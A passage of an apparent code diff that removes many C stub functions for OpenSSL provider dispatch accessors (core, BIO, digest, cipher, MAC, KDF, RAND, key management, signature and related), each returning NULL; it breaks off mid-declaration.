-OSSL_FUNC_core_obj_add_sigid_fn * OSSL_FUNC_core_obj_add_sigid(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_core_obj_create_fn * OSSL_FUNC_core_obj_create(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_CRYPTO_malloc_fn * OSSL_FUNC_CRYPTO_malloc(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_CRYPTO_zalloc_fn * OSSL_FUNC_CRYPTO_zalloc(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_CRYPTO_free_fn * OSSL_FUNC_CRYPTO_free(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_CRYPTO_clear_free_fn * OSSL_FUNC_CRYPTO_clear_free(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_CRYPTO_realloc_fn * OSSL_FUNC_CRYPTO_realloc(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_CRYPTO_clear_realloc_fn * OSSL_FUNC_CRYPTO_clear_realloc(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_CRYPTO_secure_malloc_fn * OSSL_FUNC_CRYPTO_secure_malloc(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_CRYPTO_secure_zalloc_fn * OSSL_FUNC_CRYPTO_secure_zalloc(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_CRYPTO_secure_free_fn * OSSL_FUNC_CRYPTO_secure_free(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_CRYPTO_secure_clear_free_fn * OSSL_FUNC_CRYPTO_secure_clear_free(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_CRYPTO_secure_allocated_fn * OSSL_FUNC_CRYPTO_secure_allocated(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_OPENSSL_cleanse_fn * OSSL_FUNC_OPENSSL_cleanse(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_BIO_new_file_fn * OSSL_FUNC_BIO_new_file(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_BIO_new_membuf_fn * OSSL_FUNC_BIO_new_membuf(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_BIO_read_ex_fn * OSSL_FUNC_BIO_read_ex(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_BIO_write_ex_fn * OSSL_FUNC_BIO_write_ex(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_BIO_gets_fn * OSSL_FUNC_BIO_gets(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_BIO_puts_fn * OSSL_FUNC_BIO_puts(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_BIO_up_ref_fn * OSSL_FUNC_BIO_up_ref(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_BIO_free_fn * OSSL_FUNC_BIO_free(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_BIO_vprintf_fn * OSSL_FUNC_BIO_vprintf(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_BIO_vsnprintf_fn * OSSL_FUNC_BIO_vsnprintf(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_BIO_ctrl_fn * OSSL_FUNC_BIO_ctrl(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_indicator_cb_fn * OSSL_FUNC_indicator_cb(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_self_test_cb_fn * OSSL_FUNC_self_test_cb(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_get_entropy_fn * OSSL_FUNC_get_entropy(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_get_user_entropy_fn * OSSL_FUNC_get_user_entropy(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cleanup_entropy_fn * OSSL_FUNC_cleanup_entropy(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cleanup_user_entropy_fn * OSSL_FUNC_cleanup_user_entropy(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_get_nonce_fn * OSSL_FUNC_get_nonce(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_get_user_nonce_fn * OSSL_FUNC_get_user_nonce(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cleanup_nonce_fn * OSSL_FUNC_cleanup_nonce(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cleanup_user_nonce_fn * OSSL_FUNC_cleanup_user_nonce(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_register_child_cb_fn * OSSL_FUNC_provider_register_child_cb(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_deregister_child_cb_fn * OSSL_FUNC_provider_deregister_child_cb(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_name_fn * OSSL_FUNC_provider_name(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_get0_provider_ctx_fn * OSSL_FUNC_provider_get0_provider_ctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_get0_dispatch_fn * OSSL_FUNC_provider_get0_dispatch(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_up_ref_fn * OSSL_FUNC_provider_up_ref(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_free_fn * OSSL_FUNC_provider_free(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_teardown_fn * OSSL_FUNC_provider_teardown(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_gettable_params_fn * OSSL_FUNC_provider_gettable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_get_params_fn * OSSL_FUNC_provider_get_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_query_operation_fn * OSSL_FUNC_provider_query_operation(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_unquery_operation_fn * OSSL_FUNC_provider_unquery_operation(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_get_reason_strings_fn * OSSL_FUNC_provider_get_reason_strings(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_get_capabilities_fn * OSSL_FUNC_provider_get_capabilities(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_self_test_fn * OSSL_FUNC_provider_self_test(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_provider_random_bytes_fn * OSSL_FUNC_provider_random_bytes(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_SSL_QUIC_TLS_crypto_send_fn * OSSL_FUNC_SSL_QUIC_TLS_crypto_send(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_SSL_QUIC_TLS_crypto_recv_rcd_fn * OSSL_FUNC_SSL_QUIC_TLS_crypto_recv_rcd(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_SSL_QUIC_TLS_crypto_release_rcd_fn * OSSL_FUNC_SSL_QUIC_TLS_crypto_release_rcd(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_SSL_QUIC_TLS_yield_secret_fn * OSSL_FUNC_SSL_QUIC_TLS_yield_secret(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_SSL_QUIC_TLS_got_transport_params_fn * OSSL_FUNC_SSL_QUIC_TLS_got_transport_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_SSL_QUIC_TLS_alert_fn * OSSL_FUNC_SSL_QUIC_TLS_alert(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_newctx_fn * OSSL_FUNC_digest_newctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_init_fn * OSSL_FUNC_digest_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_update_fn * OSSL_FUNC_digest_update(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_final_fn * OSSL_FUNC_digest_final(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_squeeze_fn * OSSL_FUNC_digest_squeeze(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_digest_fn * OSSL_FUNC_digest_digest(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_freectx_fn * OSSL_FUNC_digest_freectx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_dupctx_fn * OSSL_FUNC_digest_dupctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_copyctx_fn * OSSL_FUNC_digest_copyctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_get_params_fn * OSSL_FUNC_digest_get_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_set_ctx_params_fn * OSSL_FUNC_digest_set_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_get_ctx_params_fn * OSSL_FUNC_digest_get_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_gettable_params_fn * OSSL_FUNC_digest_gettable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_settable_ctx_params_fn * OSSL_FUNC_digest_settable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_digest_gettable_ctx_params_fn * OSSL_FUNC_digest_gettable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_newctx_fn * OSSL_FUNC_cipher_newctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_encrypt_init_fn * OSSL_FUNC_cipher_encrypt_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_decrypt_init_fn * OSSL_FUNC_cipher_decrypt_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_update_fn * OSSL_FUNC_cipher_update(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_final_fn * OSSL_FUNC_cipher_final(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_cipher_fn * OSSL_FUNC_cipher_cipher(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_pipeline_encrypt_init_fn * OSSL_FUNC_cipher_pipeline_encrypt_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_pipeline_decrypt_init_fn * OSSL_FUNC_cipher_pipeline_decrypt_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_pipeline_update_fn * OSSL_FUNC_cipher_pipeline_update(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_pipeline_final_fn * OSSL_FUNC_cipher_pipeline_final(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_freectx_fn * OSSL_FUNC_cipher_freectx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_dupctx_fn * OSSL_FUNC_cipher_dupctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_get_params_fn * OSSL_FUNC_cipher_get_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_get_ctx_params_fn * OSSL_FUNC_cipher_get_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_set_ctx_params_fn * OSSL_FUNC_cipher_set_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_gettable_params_fn * OSSL_FUNC_cipher_gettable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_settable_ctx_params_fn * OSSL_FUNC_cipher_settable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_gettable_ctx_params_fn * OSSL_FUNC_cipher_gettable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_encrypt_skey_init_fn * OSSL_FUNC_cipher_encrypt_skey_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_cipher_decrypt_skey_init_fn * OSSL_FUNC_cipher_decrypt_skey_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_mac_newctx_fn * OSSL_FUNC_mac_newctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_mac_dupctx_fn * OSSL_FUNC_mac_dupctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_mac_freectx_fn * OSSL_FUNC_mac_freectx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_mac_init_fn * OSSL_FUNC_mac_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_mac_update_fn * OSSL_FUNC_mac_update(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_mac_final_fn * OSSL_FUNC_mac_final(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_mac_gettable_params_fn * OSSL_FUNC_mac_gettable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_mac_gettable_ctx_params_fn * OSSL_FUNC_mac_gettable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_mac_settable_ctx_params_fn * OSSL_FUNC_mac_settable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_mac_get_params_fn * OSSL_FUNC_mac_get_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_mac_get_ctx_params_fn * OSSL_FUNC_mac_get_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_mac_set_ctx_params_fn * OSSL_FUNC_mac_set_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_mac_init_skey_fn * OSSL_FUNC_mac_init_skey(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kdf_newctx_fn * OSSL_FUNC_kdf_newctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kdf_dupctx_fn * OSSL_FUNC_kdf_dupctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kdf_freectx_fn * OSSL_FUNC_kdf_freectx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kdf_reset_fn * OSSL_FUNC_kdf_reset(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kdf_derive_fn * OSSL_FUNC_kdf_derive(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kdf_gettable_params_fn * OSSL_FUNC_kdf_gettable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kdf_gettable_ctx_params_fn * OSSL_FUNC_kdf_gettable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kdf_settable_ctx_params_fn * OSSL_FUNC_kdf_settable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kdf_get_params_fn * OSSL_FUNC_kdf_get_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kdf_get_ctx_params_fn * OSSL_FUNC_kdf_get_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kdf_set_ctx_params_fn * OSSL_FUNC_kdf_set_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_newctx_fn * OSSL_FUNC_rand_newctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_freectx_fn * OSSL_FUNC_rand_freectx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_instantiate_fn * OSSL_FUNC_rand_instantiate(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_uninstantiate_fn * OSSL_FUNC_rand_uninstantiate(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_generate_fn * OSSL_FUNC_rand_generate(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_reseed_fn * OSSL_FUNC_rand_reseed(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_nonce_fn * OSSL_FUNC_rand_nonce(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_enable_locking_fn * OSSL_FUNC_rand_enable_locking(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_lock_fn * OSSL_FUNC_rand_lock(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_unlock_fn * OSSL_FUNC_rand_unlock(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_gettable_params_fn * OSSL_FUNC_rand_gettable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_gettable_ctx_params_fn * OSSL_FUNC_rand_gettable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_settable_ctx_params_fn * OSSL_FUNC_rand_settable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_get_params_fn * OSSL_FUNC_rand_get_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_get_ctx_params_fn * OSSL_FUNC_rand_get_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_set_ctx_params_fn * OSSL_FUNC_rand_set_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_set_callbacks_fn * OSSL_FUNC_rand_set_callbacks(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_verify_zeroization_fn * OSSL_FUNC_rand_verify_zeroization(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_get_seed_fn * OSSL_FUNC_rand_get_seed(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_rand_clear_seed_fn * OSSL_FUNC_rand_clear_seed(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_new_fn * OSSL_FUNC_keymgmt_new(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_gen_init_fn * OSSL_FUNC_keymgmt_gen_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_gen_set_template_fn * OSSL_FUNC_keymgmt_gen_set_template(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_gen_set_params_fn * OSSL_FUNC_keymgmt_gen_set_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_gen_settable_params_fn * OSSL_FUNC_keymgmt_gen_settable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_gen_get_params_fn * OSSL_FUNC_keymgmt_gen_get_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_gen_gettable_params_fn * OSSL_FUNC_keymgmt_gen_gettable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_gen_fn * OSSL_FUNC_keymgmt_gen(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_gen_cleanup_fn * OSSL_FUNC_keymgmt_gen_cleanup(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_load_fn * OSSL_FUNC_keymgmt_load(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_free_fn * OSSL_FUNC_keymgmt_free(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_get_params_fn * OSSL_FUNC_keymgmt_get_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_gettable_params_fn * OSSL_FUNC_keymgmt_gettable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_set_params_fn * OSSL_FUNC_keymgmt_set_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_settable_params_fn * OSSL_FUNC_keymgmt_settable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_query_operation_name_fn * OSSL_FUNC_keymgmt_query_operation_name(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_has_fn * OSSL_FUNC_keymgmt_has(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_validate_fn * OSSL_FUNC_keymgmt_validate(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_match_fn * OSSL_FUNC_keymgmt_match(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_import_fn * OSSL_FUNC_keymgmt_import(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_import_types_fn * OSSL_FUNC_keymgmt_import_types(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_export_fn * OSSL_FUNC_keymgmt_export(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_export_types_fn * OSSL_FUNC_keymgmt_export_types(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_dup_fn * OSSL_FUNC_keymgmt_dup(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_import_types_ex_fn * OSSL_FUNC_keymgmt_import_types_ex(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keymgmt_export_types_ex_fn * OSSL_FUNC_keymgmt_export_types_ex(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keyexch_newctx_fn * OSSL_FUNC_keyexch_newctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keyexch_init_fn * OSSL_FUNC_keyexch_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keyexch_derive_fn * OSSL_FUNC_keyexch_derive(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keyexch_set_peer_fn * OSSL_FUNC_keyexch_set_peer(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keyexch_freectx_fn * OSSL_FUNC_keyexch_freectx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keyexch_dupctx_fn * OSSL_FUNC_keyexch_dupctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keyexch_set_ctx_params_fn * OSSL_FUNC_keyexch_set_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keyexch_settable_ctx_params_fn * OSSL_FUNC_keyexch_settable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keyexch_get_ctx_params_fn * OSSL_FUNC_keyexch_get_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_keyexch_gettable_ctx_params_fn * OSSL_FUNC_keyexch_gettable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_newctx_fn * OSSL_FUNC_signature_newctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_sign_init_fn * OSSL_FUNC_signature_sign_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_sign_fn * OSSL_FUNC_signature_sign(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_sign_message_init_fn * OSSL_FUNC_signature_sign_message_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_sign_message_update_fn * OSSL_FUNC_signature_sign_message_update(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_sign_message_final_fn * OSSL_FUNC_signature_sign_message_final(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_verify_init_fn * OSSL_FUNC_signature_verify_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_verify_fn * OSSL_FUNC_signature_verify(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_verify_message_init_fn * OSSL_FUNC_signature_verify_message_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_verify_message_update_fn * OSSL_FUNC_signature_verify_message_update(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_verify_message_final_fn * OSSL_FUNC_signature_verify_message_final(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_verify_recover_init_fn * OSSL_FUNC_signature_verify_recover_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_verify_recover_fn * OSSL_FUNC_signature_verify_recover(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_digest_sign_init_fn * OSSL_FUNC_signature_digest_sign_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_digest_sign_update_fn * OSSL_FUNC_signature_digest_sign_update(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_digest_sign_final_fn * OSSL_FUNC_signature_digest_sign_final(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_digest_sign_fn * OSSL_FUNC_signature_digest_sign(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_digest_verify_init_fn * OSSL_FUNC_signature_digest_verify_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_digest_verify_update_fn * OSSL_FUNC_signature_digest_verify_update(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_digest_verify_final_fn * OSSL_FUNC_signature_digest_verify_final(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_digest_verify_fn * OSSL_FUNC_signature_digest_verify(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_freectx_fn * OSSL_FUNC_signature_freectx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_dupctx_fn * OSSL_FUNC_signature_dupctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_get_ctx_params_fn * OSSL_FUNC_signature_get_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_gettable_ctx_params_fn * OSSL_FUNC_signature_gettable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_set_ctx_params_fn * OSSL_FUNC_signature_set_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_settable_ctx_params_fn * OSSL_FUNC_signature_settable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_get_ctx_md_params_fn * OSSL_FUNC_signature_get_ctx_md_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_gettable_ctx_md_params_fn * OSSL_FUNC_signature_gettable_ctx_md_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_set_ctx_md_params_fn * OSSL_FUNC_signature_set_ctx_md_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_settable_ctx_md_params_fn * OSSL_FUNC_signature_settable_ctx_md_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_signature_query_key_types_fn * OSSL_FUNC_signature_query_key_types(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_skeymgmt_free_fn * OSSL_FUNC_skeymgmt_free(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_skeymgmt_imp_settable_params_fn * OSSL_FUNC_skeymgmt_imp_settable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_skeymgmt_import_fn * OSSL_FUNC_skeymgmt_import(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_skeymgmt_export_fn * OSSL_FUNC_skeymgmt_export(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_skeymgmt_gen_settable_params_fn * OSSL_FUNC_skeymgmt_gen_settable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_skeymgmt_generate_fn * OSSL_FUNC_skeymgmt_generate(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_skeymgmt_get_key_id_fn * OSSL_FUNC_skeymgmt_get_key_id(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_asym_cipher_newctx_fn * OSSL_FUNC_asym_cipher_newctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_asym_cipher_encrypt_init_fn * OSSL_FUNC_asym_cipher_encrypt_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_asym_cipher_encrypt_fn * 